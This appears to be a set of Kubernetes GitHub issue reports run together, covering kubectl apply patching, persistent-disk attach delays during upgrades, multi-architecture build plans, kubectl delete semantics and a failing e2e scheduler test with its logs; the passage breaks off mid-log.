 creationusername .

if you run kubectl apply on an unchanged replication controller several times in a row, it sends a patch every time. it should either only generate a patch in the first place if the server state needs to be changed, or only send a patch if the generated patch would change the state of the server.  cc @kubernetes/sig-config

i have a replicaset running without a deployment strategy pre-defined.  when defining one in the template, and setting its type to  recreate , when deploying with  kubectl apply , i get:      spec.strategy.rollingupdate: forbidden: may not be specified when strategy  type  is 'recreate'      i would expect the strategy to be allowed to change using  apply , _and_ have it apply to the current rollout as well.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r no,\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r   \ already being used\ \r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.0-beta.2\ , gitcommit:\ 0776eab45fe28f02bbeac0f05ae1a203051a21eb\ , gittreestate:\ clean\ , builddate:\ 2016-11-24t22:35:03z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6+\ , gitversion:\ v1.6.0-alpha.0.1228+2212c421f6e10e\ , gitcommit:\ 2212c421f6e10e3bb7ff1e106f14dcd049990235\ , gittreestate:\ clean\ , builddate:\ 2016-12-02t17:27:41z\ , goversion:\ go1.7.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  \r -   cloud provider or hardware configuration  : gce\r -   os    e.g. from /etc/os-release : debian gnu/linux 7  wheezy \r -   kernel    e.g.  uname -a  :\r -   install tools  : cluster/gce/upgrade.sh\r -   others  :\r \r \r   what happened  :\r \r a pod with a pvc got deleted during a rolling node upgrade. a controller recreated it on a different node. the new pod was unable to attach the pd because it was still marked as being in use by the previous node:\r \r    \r failed to attach volume \ pvc-61045ddc-b8c7-11e6-bee7-42010a800002\  on node \ kubernetes-minion-group-yl0d\  with: googleapi: error 400: the disk resource 'kubernetes-dynamic-pvc-61045ddc-b8c7-11e6-bee7-42010a800002' is already being used by 'kubernetes-minion-group-c4x6'\r    \r \r the issue resolved itself after 7min. i was able to reproduce this based on https://github.com/kubernetes/kubernetes/issues/37585 issuecomment-264519943. although it happened to a different pod this time, the delay was about the same  7-8min .\r \r   what you expected to happen  :\r \r the pd should mount to the new node that the pod has scheduled to, without such a long delay.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1.  start a v1.4.6 cluster on gce.\r \r 1.  create the following example petset and wait for all pods to be running.\r \r        yaml\r       a headless service to create dns records\r     apiversion: v1\r     kind: service\r     metadata:\r       name: nginx\r       labels:\r         app: nginx\r     spec:\r       ports:\r       - port: 80\r         name: web\r          .nginx.default.svc.cluster.local\r       clusterip: none\r       selector:\r         app: nginx\r     ---\r     apiversion: apps/v1alpha1\r     kind: petset\r     metadata:\r       name: web\r     spec:\r       servicename: \ nginx\ \r       replicas: 5\r       template:\r         metadata:\r           labels:\r             app: nginx\r           annotations:\r             pod.alpha.kubernetes.io/initialized: \ true\ \r         spec:\r           containers:\r           - name: nginx\r             image: gcr.io/google_containers/nginx-slim:0.8\r             ports:\r             - containerport: 80\r               name: web\r             volumemounts:\r             - name: www\r               mountpath: /usr/share/nginx/html\r       volumeclaimtemplates:\r       - metadata:\r           name: www\r           annotations:\r             volume.alpha.kubernetes.io/storage-class: anything\r         spec:\r           accessmodes:   \ readwriteonce\   \r           resources:\r             requests:\r               storage: 1gi\r        \r \r 1.  delete petset without cascading  keep the pods .\r \r        shell\r     kubectl delete petset web --cascade=false\r        \r \r 1.  upgrade master to  v1.6.0-alpha.0.1228+2212c421f6e10e  with  cluster/gce/upgrade.sh .\r \r        shell\r     git checkout release-1.5\r     git pull upstream release-1.5\r     cluster/gce/upgrade.sh -m v1.6.0-alpha.0.1228+2212c421f6e10e\r        \r \r 1.  create the following statefulset to adopt the pods.\r \r        yaml\r       a headless service to create dns records\r     apiversion: v1\r     kind: service\r     metadata:\r       name: nginx\r       labels:\r         app: nginx\r     spec:\r       ports:\r       - port: 80\r         name: web\r          .nginx.default.svc.cluster.local\r       clusterip: none\r       selector:\r         app: nginx\r     ---\r     apiversion: apps/v1beta1\r     kind: statefulset\r     metadata:\r       name: web\r     spec:\r       servicename: \ nginx\ \r       replicas: 5\r       template:\r         metadata:\r           labels:\r             app: nginx\r         spec:\r           containers:\r           - name: nginx\r             image: gcr.io/google_containers/nginx-slim:0.8\r             ports:\r             - containerport: 80\r               name: web\r             volumemounts:\r             - name: www\r               mountpath: /usr/share/nginx/html\r       volumeclaimtemplates:\r       - metadata:\r           name: www\r           annotations:\r             volume.alpha.kubernetes.io/storage-class: anything\r         spec:\r           accessmodes:   \ readwriteonce\   \r           resources:\r             requests:\r               storage: 1gi\r        \r \r 1.  upgrade nodes to  v1.6.0-alpha.0.1228+2212c421f6e10e  with  cluster/gce/upgrade.sh .\r \r        shell\r     cluster/gce/upgrade.sh -n v1.6.0-alpha.0.1228+2212c421f6e10e\r        \r \r 1.  check for pods stuck in containercreating. look in the event log for  the disk resource ... is already being used by ... \r \r        \r     name      ready     status              restarts   age\r     web-0     1/1       running             0          16m\r     web-1     1/1       running             0          15m\r     web-2     0/1       containercreating   0          4m\r     web-3     1/1       running             0          15m\r     web-4     1/1       running             0          15m\r        \r \r \r   anything else do we need to know  :\r \r    kubectl describe pod on the stuck pod  https://gist.github.com/enisoc/5cc11b467e9e6b68ce09f1d6e23d8961 \r    kube-controller-manager.log  https://gist.github.com/enisoc/e0fe54d0dc22a9138adfe77f4c19ee63 \r    kubernetes-minion-group-c4x6 kubelet.log  https://gist.github.com/enisoc/970727bef695053dc5c583eb2d187642 \r    kubernetes-minion-group-yl0d kubelet.log  https://gist.github.com/enisoc/4dae9db18dbe6b563c88f13193debcd9

background: i've implemented most of the multi-architecture kubernetes has today, and wrote the proposal here: https://github.com/kubernetes/community/tree/master/contributors/design-proposals/multi-platform.md\r \r now it's time to continue improving the multi-arch experience as well.\r tasks to do:\r  - deprecate  armel  and use  armhf  images instead and use  goarm=7  instead of  goarm=6 \r    - motivation:\r      - the only  goarm=6  board go will support in go1.8 is the raspberry pi 1 which is just too slow to run newer kubernetes versions.\r      - small performance improvements when using  goarm=7 \r      - the  armel   http://hub.docker.com/u/armel  images are not updated as often as the   armhf   http://hub.docker.com/u/armhf  images are.\r  - use go1.8 as fast as possible for arm and ppc64le  and of course generally as well, but that will require the \ real\  release \r    - motivation:\r       - brings us a lot of mandatory fixes for arm and ppc64le\r       - brings us the ssa backend which is ~30% faster\r       - we can remove the patched golang for arm and start building ppc64le binaries by default again\r       - arm hyperkube will start working again\r       - even if it's beta, it's probably better than a self-patched version of go1.7\r    - proposal:\r       - use  go1.8-beta1  for the arm builds already in the v1.5 release cc @saad-ali @pwittrock @jessfraz \r   - reenable ppc64le builds again by using go1.8betas until the stable version of go1.8 is released and release v1.6 of kubernetes for ppc64le with go1.8\r   - evalute  s390x  as a new platform\r     - if no one loudly complains, i'm gonna take care of the prs https://github.com/kubernetes/kubernetes/pull/37092 and https://github.com/kubernetes/kubernetes/pull/36050 and merge them in time for v1.6\r  - convert the essential images that are named  registry/binary:version  to manifest lists\r    - todo: investigate rkt support for manifest lists: https://github.com/appc/docker2aci/issues/193\r    - wait for gcr.io to roll out a v2 schema 2 registry that support manifest lists. @aronchick told me it's gonna happen mid-december.\r    - start building manifest lists when releasing kubernetes  kube-apiserver, kube-scheduler, etc. \r    - basically, all images will be named  registry/binary-arch:version  as most of them are now, but then the image _without_ the  -arch  bit will be a manifest list which points to the right  -arch  image depending on which arch docker runs on.\r    - convert all other essential images to manifest lists, namely:\r      - etcd\r      - all kube-dns images\r      - the dashboard image\r      - all heapster images: first step: https://github.com/kubernetes/heapster/pull/1387\r  - convert the ingress images to multiple architectures\r \r cc-ing involved people here: \r @kubernetes/sig-testing @david-mcmahon @saad-ali @pwittrock @pensu @ixdy @jessfraz @thockin @vishh @gajju26 @brendandburns

this is a follow-up to  41267.\r \r @irfanurrehman has a pr   41830; see also issue  41263  that adds support for using the right rbac api version for the host cluster. kubefed join needs to do the same thing for federated clusters.

as per https://github.com/kubernetes/kubernetes/pull/40714 issuecomment-278460041,  kubectl delete  should ensure that the resource is deleted before returning by default. we can also add a  --wait-for-deletion   flag that users can set if they dont want to wait.\r \r work items:\r -  x  update apiserver to return the uid of the resource being deleted in response to a delete request  https://github.com/kubernetes/kubernetes/pull/45600 \r -     update kubectl delete code to: \r   first send delete request to apiserver with the resource name. server will return back resource uid as part of the response.\r   then keep sending delete requests to apiserver with uid precondition until server returns 404 or 409 or we timeout.\r -     skip the wait if user sets  --wait-for-deletion=false .\r -     revert wait for deletion code added in https://github.com/kubernetes/kubernetes/pull/42674\r \r cc @liggitt @smarterclayton @bgrant0607 @kubernetes/sig-cli-bugs

it's alpha right now. we need to get an api design review and make a beta version.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r | kubeadm   |  kubernetes/kubeadm  https://github.com/kubernetes/kubeadm/issues/new  |\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r v1.6.4\r \r   environment  :\r -   cloud provider or hardware configuration  :4 cores\r -   os    e.g. from /etc/os-release :centos-7.2\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r the first time i run the test, it would success. but, i run it again, it must fail.\r \r   what you expected to happen  :\r anytime i run it, it should success.\r \r   how to reproduce it    as minimally and precisely as possible :\r    shell\r cd gopath/src/k8s.io/kubernetes/\r make\r path=$path kubelet_authorization_webhook=\ \  kubelet_authentication_webhook=\ \  allow_privileged=true  allow_security_context=true enable_daemon=true hack/local-up-cluster.sh\r export kubernetes_provider=local\r cluster/kubectl.sh config set-cluster local --server=http://127.0.0.1:8080 --insecure-skip-tls-verify=true\r cluster/kubectl.sh config set-context local --cluster=local\r cluster/kubectl.sh config use-context local\r export kubeconfig=/root/.kube/config\r export kube_master_ip=localhost:8080\r export kube_master=local\r go run hack/e2e.go -v --up --test --test_args=\ --ginkgo.focus=\\bvalidates\\b. \\bresource\\b. \\blimits\\b --ginkgo.skip= \\ feature:.+\\  | \\ flaky\\  \r    \r this would be successful at first time. after first time, i run \ go run hack/e2e.go -v --up --test --test_args=\ --ginkgo.focus=\\bvalidates\\b. \\bresource\\b. \\blimits\\b --ginkgo.skip= \\ feature:.+\\  | \\ flaky\\  \ . it failed.\r \r   anything else we need to know  :\r    shell\r  root@pxy-vm:~/gopath/src/k8s.io/kubernetes $ cluster/kubectl.sh get pods --all-namespaces=true  \r namespace                    name           ready     status    restarts   age\r e2e-tests-sched-pred-0g2pv   overcommit-0   0/1       pending   0          3m\r e2e-tests-sched-pred-0g2pv   overcommit-1   0/1       pending   0          3m\r e2e-tests-sched-pred-0g2pv   overcommit-2   0/1       pending   0          3m\r e2e-tests-sched-pred-0g2pv   overcommit-3   0/1       pending   0          3m\r e2e-tests-sched-pred-0g2pv   overcommit-4   0/1       pending   0          3m\r e2e-tests-sched-pred-0g2pv   overcommit-5   0/1       pending   0          3m\r e2e-tests-sched-pred-0g2pv   overcommit-6   0/1       pending   0          3m\r e2e-tests-sched-pred-0g2pv   overcommit-7   0/1       pending   0          3m\r  \r  root@pxy-vm:~/gopath/src/k8s.io/kubernetes $ cluster/kubectl.sh describe pods overcommit-0 --namespace=e2e-tests-sched-pred-0g2pv\r name:           overcommit-0\r namespace:      e2e-tests-sched-pred-0g2pv\r node:           /\r labels:         name=overcommit-0\r                 startpodsid=140616c1-501a-11e7-b144-002dc72800b3\r annotations:    <none>\r status:         pending\r ip:\r controllers:    <none>\r containers:\r   overcommit-0:\r     image:      gcr.io/google_containers/pause-amd64:3.0\r     port:\r     limits:\r       cpu:      500m\r     requests:\r       cpu:              500m\r     environment:        <none>\r     mounts:\r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-n97bl  ro \r conditions:\r   type          status\r   podscheduled  false \r volumes:\r   default-token-n97bl:\r     type:       secret  a volume populated by a secret \r     secretname: default-token-n97bl\r     optional:   false\r qos class:      burstable\r node-selectors: <none>\r tolerations:    node.alpha.kubernetes.io/notready=:exists:noexecute for 300s\r                 node.alpha.kubernetes.io/unreachable=:exists:noexecute for 300s\r events:\r   firstseen     lastseen        count   from                    subobjectpath   type            reason                  message\r   ---------     --------        -----   ----                    -------------   --------        ------                  -------\r   4m            1s              19      default-scheduler                       warning         failedscheduling        no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r  \r  root@pxy-vm:~/gopath/src/k8s.io/kubernetes $ cluster/kubectl.sh describe node 127.0.0.1\r name:                   127.0.0.1\r role:\r labels:                 beta.kubernetes.io/arch=amd64\r                         beta.kubernetes.io/os=linux\r                         kubernetes.io/hostname=127.0.0.1\r annotations:            node.alpha.kubernetes.io/ttl=0\r                         volumes.kubernetes.io/controller-managed-attach-detach=true\r taints:                 <none>\r creationtimestamp:      tue, 13 jun 2017 01:36:35 +0800\r phase:\r conditions:\r   type                  status  lastheartbeattime                       lasttransitiontime                      reasonmessage\r   ----                  ------  -----------------                       ------------------                      -------------\r   outofdisk             false   tue, 13 jun 2017 17:28:49 +0800         tue, 13 jun 2017 01:36:35 +0800         kubelethassufficientdisk    kubelet has sufficient disk space available\r   memorypressure        false   tue, 13 jun 2017 17:28:49 +0800         tue, 13 jun 2017 01:36:35 +0800         kubelethassufficientmemory  kubelet has sufficient memory available\r   diskpressure          false   tue, 13 jun 2017 17:28:49 +0800         tue, 13 jun 2017 01:36:35 +0800         kubelethasnodiskpressure    kubelet has no disk pressure\r   ready                 true    tue, 13 jun 2017 17:28:49 +0800         tue, 13 jun 2017 01:36:45 +0800         kubeletready kubelet is posting ready status\r addresses:              127.0.0.1,127.0.0.1,127.0.0.1\r capacity:\r  alpha.kubernetes.io/nvidia-gpu:        0\r  cpu:                                   4\r  memory:                                8010552ki\r  pods:                                  110\r allocatable:\r  alpha.kubernetes.io/nvidia-gpu:        0\r  cpu:                                   4\r  memory:                                7908152ki\r  pods:                                  110\r system info:\r  machine id:                    6b62b18d9fcb4921ad41ab333e541ebb\r  system uuid:                   0645c3ee-facc-4312-865c-126ebdd779db\r  boot id:                       fdf65fab-dcb6-41a8-9012-6ddb885a7371\r  kernel version:                3.10.0-514.6.1.el7.x86_64\r  os image:                      newstart carrier grade server linux\r  operating system:              linux\r  architecture:                  amd64\r  container runtime version:     docker://1.12.3\r  kubelet version:               v1.6.4+d6f433224538d\r  kube-proxy version:            v1.6.4+d6f433224538d\r externalid:                     127.0.0.1\r non-terminated pods:             0 in total \r   namespace                     name            cpu requests    cpu limits      memory requests memory limits\r   ---------                     ----            ------------    ----------      --------------- -------------\r allocated resources:\r    total limits may be over 100 percent, i.e., overcommitted. \r   cpu requests  cpu limits      memory requests memory limits\r   ------------  ----------      --------------- -------------\r   0  0%         0  0%           0  0%           0  0% \r  \r  root@pxy-vm:~/gopath/src/k8s.io/kubernetes $ cluster/kubectl.sh get events --namespace=e2e-tests-sched-pred-0g2pv\r lastseen   firstseen   count     name           kind      subobject   type      reason             source              message\r 11s        4m          21        overcommit-0   pod                   warning   failedscheduling   default-scheduler   no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r 11s        4m          21        overcommit-1   pod                   warning   failedscheduling   default-scheduler   no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r 11s        4m          21        overcommit-2   pod                   warning   failedscheduling   default-scheduler   no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r 11s        4m          21        overcommit-3   pod                   warning   failedscheduling   default-scheduler   no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r 11s        4m          21        overcommit-4   pod                   warning   failedscheduling   default-scheduler   no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r 11s        4m          21        overcommit-5   pod                   warning   failedscheduling   default-scheduler   no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r 11s        4m          21        overcommit-6   pod                   warning   failedscheduling   default-scheduler   no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r 11s        4m          21        overcommit-7   pod                   warning   failedscheduling   default-scheduler   no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r  \r  root@pxy-vm:~/gopath/src/k8s.io/kubernetes $ free -m\r               total        used        free      shared  buff/cache   available\r mem:           7822         795        2060          16        4967        6735\r swap:          1023           0        1023\r  \r  root@pxy-vm:~/gopath/src/k8s.io/kubernetes $ lscpu\r architecture:          x86_64\r cpu op-mode s :        32-bit, 64-bit\r byte order:            little endian\r cpu s :                4\r on-line cpu s  list:   0-3\r thread s  per core:    1\r core s  per socket:    1\r socket s :             4\r numa node s :          1\r vendor id:             genuineintel\r cpu family:            6\r model:                 6\r model name:            qemu virtual cpu version 2.0.0\r stepping:              3\r cpu mhz:               2799.998\r bogomips:              5599.99\r virtualization:        vt-x\r hypervisor vendor:     kvm\r virtualization type:   full\r l1d cache:             32k\r l1i cache:             32k\r l2 cache:              4096k\r numa node0 cpu s :     0-3\r    \r \r    shell\r  root@pxy-vm:~/gopath/src/k8s.io/kubernetes $ go run hack/e2e.go -v --up --test --test_args=\ --ginkgo.focus=\\bvalidates\\b. \\bresource\\b. \\blimits\\b --ginkgo.skip= \\ feature:.+\\  | \\ flaky\\  \ \r flag provided but not defined: -v\r usage of /tmp/go-build570901182/command-line-arguments/_obj/exe/e2e:\r   -get\r         go get -u kubetest if old or not installed  default true \r   -old duration\r         consider kubetest old if it exceeds this  default 8760h0m0s \r 2017/06/13 17:23:18 e2e.go:55: notice: go run hack/e2e.go is now a shim for test-infra/kubetest\r 2017/06/13 17:23:18 e2e.go:56:   usage: go run hack/e2e.go  --get=true   --old=8760h0m0s  --  kubetest_args \r 2017/06/13 17:23:18 e2e.go:57:   the separator is required to use --get or --old flags\r 2017/06/13 17:23:18 e2e.go:58:   the -- flag separator also suppresses this message\r 2017/06/13 17:23:18 e2e.go:77: calling kubetest -v --up --test --test_args=--ginkgo.focus=\\bvalidates\\b. \\bresource\\b. \\blimits\\b --ginkgo.skip= \\ feature:.+\\  | \\ flaky\\  ...\r 2017/06/13 17:23:18 util.go:129: running: ./hack/e2e-internal/e2e-down.sh\r local doesn't need special preparations for e2e tests\r skeleton provider: test-teardown not implemented\r 2017/06/13 17:23:18 util.go:131: step './hack/e2e-internal/e2e-down.sh' finished in 5.142336ms\r 2017/06/13 17:23:18 util.go:129: running: ./hack/e2e-internal/e2e-up.sh\r local doesn't need special preparations for e2e tests\r skeleton provider: test-setup not implemented\r 2017/06/13 17:23:18 util.go:131: step './hack/e2e-internal/e2e-up.sh' finished in 4.769698ms\r 2017/06/13 17:23:18 util.go:129: running: ./cluster/kubectl.sh version --match-server-version=false\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4+d6f433224538d\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ not a git tree\ , builddate:\ 2017-06-08t14:46:01z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4+d6f433224538d\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ not a git tree\ , builddate:\ 2017-06-08t14:46:01z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r 2017/06/13 17:23:18 util.go:131: step './cluster/kubectl.sh version --match-server-version=false' finished in 117.318786ms\r 2017/06/13 17:23:18 util.go:129: running: ./hack/e2e-internal/e2e-status.sh\r local doesn't need special preparations for e2e tests\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4+d6f433224538d\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ not a git tree\ , builddate:\ 2017-06-08t14:46:01z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4+d6f433224538d\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ not a git tree\ , builddate:\ 2017-06-08t14:46:01z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r 2017/06/13 17:23:18 util.go:131: step './hack/e2e-internal/e2e-status.sh' finished in 135.970358ms\r 2017/06/13 17:23:18 util.go:129: running: ./hack/ginkgo-e2e.sh --ginkgo.focus=\\bvalidates\\b. \\bresource\\b. \\blimits\\b --ginkgo.skip= \\ feature:.+\\  | \\ flaky\\  \r setting up for kubernetes_provider=\ local\ .\r local doesn't need special preparations for e2e tests\r jun 13 17:23:18.958: info: overriding default scale value of zero to 1\r jun 13 17:23:18.958: info: overriding default milliseconds value of zero to 5000\r i0613 17:23:19.037290    5658 e2e.go:267  starting e2e run \ eff5b920-5019-11e7-b144-002dc72800b3\  on ginkgo node 1\r running suite: kubernetes e2e suite\r ===================================\r random seed: 1497345798 - will randomize all specs\r will run 1 of 591 specs\r \r jun 13 17:23:19.114: info: >>> kubeconfig: /root/.kube/config\r \r jun 13 17:23:19.115: info: waiting up to 4h0m0s for all  but 0  nodes to be schedulable\r jun 13 17:23:19.118: info: waiting up to 10m0s for all pods  need at least 0  in namespace 'kube-system' to be running and ready\r jun 13 17:23:19.133: info: 0 / 0 pods in namespace 'kube-system' are running and ready  0 seconds elapsed \r jun 13 17:23:19.133: info: expected 0 pod replicas in namespace 'kube-system', 0 are running and ready.\r jun 13 17:23:19.138: info: waiting for pods to enter success, but no pods in \ kube-system\  match label map name:e2e-image-puller \r jun 13 17:23:19.138: info: dumping network health container logs from all nodes\r ssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssss\r ------------------------------\r  k8s.io  schedulerpredicates  serial  \r   validates resource limits of pods that are allowed to run  conformance \r   /root/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:216\r  beforeeach   k8s.io  schedulerpredicates  serial \r   /root/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:119\r step: creating a kubernetes client\r jun 13 17:23:19.145: info: >>> kubeconfig: /root/.kube/config\r \r step: building a namespace api object\r step: waiting for a default service account to be provisioned in namespace\r  beforeeach   k8s.io  schedulerpredicates  serial \r   /root/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:103\r jun 13 17:23:19.257: info: waiting up to 1m0s for all nodes to be ready\r jun 13 17:24:19.266: info: waiting for terminating namespaces to be deleted...\r jun 13 17:24:19.278: info: waiting up to 5m0s for all pods  need at least 0  in namespace 'kube-system' to be running and ready\r jun 13 17:24:19.323: info: 0 / 0 pods in namespace 'kube-system' are running and ready  0 seconds elapsed \r jun 13 17:24:19.323: info: expected 0 pod replicas in namespace 'kube-system', 0 are running and ready.\r jun 13 17:24:19.323: info: \r logging pods the kubelet thinks is on node 127.0.0.1 before test\r jun 13 17:24:19.331: info: overcommit-2 from e2e-tests-sched-pred-k7tgk started at 2017-06-13 17:21:36 +0800 cst  1 container statuses recorded \r jun 13 17:24:19.331: info:      container overcommit-2 ready: true, restart count 0\r jun 13 17:24:19.331: info: overcommit-3 from e2e-tests-sched-pred-k7tgk started at 2017-06-13 17:21:36 +0800 cst  1 container statuses recorded \r jun 13 17:24:19.331: info:      container overcommit-3 ready: true, restart count 0\r jun 13 17:24:19.331: info: overcommit-4 from e2e-tests-sched-pred-k7tgk started at 2017-06-13 17:21:36 +0800 cst  1 container statuses recorded \r jun 13 17:24:19.331: info:      container overcommit-4 ready: true, restart count 0\r jun 13 17:24:19.331: info: overcommit-5 from e2e-tests-sched-pred-k7tgk started at 2017-06-13 17:21:36 +0800 cst  1 container statuses recorded \r jun 13 17:24:19.331: info:      container overcommit-5 ready: true, restart count 0\r jun 13 17:24:19.331: info: overcommit-6 from e2e-tests-sched-pred-k7tgk started at 2017-06-13 17:21:36 +0800 cst  1 container statuses recorded \r jun 13 17:24:19.331: info:      container overcommit-6 ready: true, restart count 0\r jun 13 17:24:19.331: info: overcommit-7 from e2e-tests-sched-pred-k7tgk started at 2017-06-13 17:21:36 +0800 cst  1 container statuses recorded \r jun 13 17:24:19.331: info:      container overcommit-7 ready: true, restart count 0\r jun 13 17:24:19.331: info: overcommit-0 from e2e-tests-sched-pred-k7tgk started at 2017-06-13 17:21:36 +0800 cst  1 container statuses recorded \r jun 13 17:24:19.331: info:      container overcommit-0 ready: true, restart count 0\r jun 13 17:24:19.331: info: overcommit-1 from e2e-tests-sched-pred-k7tgk started at 2017-06-13 17:21:36 +0800 cst  1 container statuses recorded \r jun 13 17:24:19.331: info:      container overcommit-1 ready: true, restart count 0\r  it  validates resource limits of pods that are allowed to run  conformance \r   /root/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/scheduling/predicates.go:216\r jun 13 17:24:19.339: info: using pod capacity: 500m\r jun 13 17:24:19.340: info: node: 127.0.0.1 has cpu capacity: 4000m\r step: starting additional 8 pods to fully saturate the cluster cpu and trying to start another one\r jun 13 17:24:19.461: info: waiting for running...\r jun 13 17:34:19.546: info: unexpected error occurred: error waiting for 8 pods to be running - probably a timeout: timeout while waiting for pods with labels \ startpodsid=140616c1-501a-11e7-b144-002dc72800b3\  to be running\r  aftereach   k8s.io  schedulerpredicates  serial \r   /root/gopath/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:120\r step: collecting events from namespace \ e2e-tests-sched-pred-0g2pv\ .\r step: found 8 events.\r jun 13 17:34:19.552: info: at 2017-06-13 17:24:19 +0800 cst - event for overcommit-0: {default-scheduler } failedscheduling: no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r jun 13 17:34:19.552: info: at 2017-06-13 17:24:19 +0800 cst - event for overcommit-1: {default-scheduler } failedscheduling: no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r jun 13 17:34:19.552: info: at 2017-06-13 17:24:19 +0800 cst - event for overcommit-2: {default-scheduler } failedscheduling: no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r jun 13 17:34:19.552: info: at 2017-06-13 17:24:19 +0800 cst - event for overcommit-3: {default-scheduler } failedscheduling: no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r jun 13 17:34:19.552: info: at 2017-06-13 17:24:19 +0800 cst - event for overcommit-4: {default-scheduler } failedscheduling: no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r jun 13 17:34:19.552: info: at 2017-06-13 17:24:19 +0800 cst - event for overcommit-5: {default-scheduler } failedscheduling: no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r jun 13 17:34:19.552: info: at 2017-06-13 17:24:19 +0800 cst - event for overcommit-6: {default-scheduler } failedscheduling: no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r jun 13 17:34:19.552: info: at 2017-06-13 17:24:19 +0800 cst - event for overcommit-7: {default-scheduler } failedscheduling: no nodes are available that match all of the following predicates:: insufficient cpu  1 .\r jun 13 17:34:19.564: info: pod           node  phase    grace  conditions\r jun 13 17:34:19.564: info: overcommit-0        pending          {podscheduled false 0001-01-01 00:00:00 +0000 utc 2017-06-13 17:24:19.364528384 +0800 cst unschedulable no nodes are available that match all of the following predicates:: insufficient cpu  1 .} \r jun 13 17:34:19.564: info: overcommit-1        pending          {podscheduled false 0001-01-01 00:00:00 +0000 utc 2017-06-13 17:24:19.369778565 +0800 cst unschedulable no nodes are available that match all of the following predicates:: insufficient cpu  1 .} \r jun 13 17:34:19.564: info: overcommit-2        pending          {podscheduled false 0001-01-01 00:00:00 +0000 utc 2017-06-13 17:24:19.376255821 +0800 cst unschedulable no nodes are available that match all of the following predicates:: insufficient cpu  1 .} \r jun 13 17:34:19.564: info: overcommit-3        pending          {podscheduled false 0001-01-01 00:00:00 +0000 utc 2017-06-13 17:24:19.388548466 +0800 cst unschedulable no nodes are available that match all of the following predicates:: insufficient cpu  1 .} \r jun 13 17:34:19.564: info: overcommit-4        pending          {podscheduled false 0001-01-01 00:00:00 +0000 utc 2017-06-13 17:24:19.401319874 +0800 